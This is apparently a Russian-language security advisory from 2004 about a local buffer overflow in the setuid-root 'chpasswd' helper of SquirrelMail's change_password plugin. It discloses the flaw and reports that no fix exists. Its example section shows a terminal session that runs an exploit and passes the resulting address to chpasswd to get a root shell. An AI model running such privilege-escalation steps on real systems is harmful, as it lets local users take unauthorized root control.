Security Lab

Локальное переполнение буфера в SquirrelMail change_password

Дата публикации:20.04.2004
Всего просмотров:1313
Опасность:
Низкая
Наличие исправления:
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации:
Воздействие:
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты:
Уязвимые версии: SquirrelMail 3.1

Описание: Уязвимость обнаружена в SquirrelMail change_password . Локальный пользователь может выполнить произвольные команды с поднятыми привилегиями.

Переполнение буфера обнаружено в 'chpasswd', который сконфигурирован с set user id (setuid) root user привилегиями. В результате локальный пользователь может выполнять команды с root привилегиями.

Пример/Эксплоит:

---:::Prott:::---
root@orco:/mnt/hosting/hack/bof# su webmaster
webmaster@orco:/mnt/hosting/hack/bof$ ./exploit 166 5555 99999
Using address: 0xbfffe325
bash-2.05b$ ./chpasswd $RET asdf asdf
The new password is equal to old password. Choose another password.
sh-2.05b# id
uid=0(root) gid=3(sys) groups=500(webmaster)
sh-2.05b#
---:::end:::---

URL производителя:http://www.squirrelmail.org/

Решение:Способов устранения обнаруженной уязвимости не существует в настоящее время.

Ссылки: Squirrelmail Chpasswod bof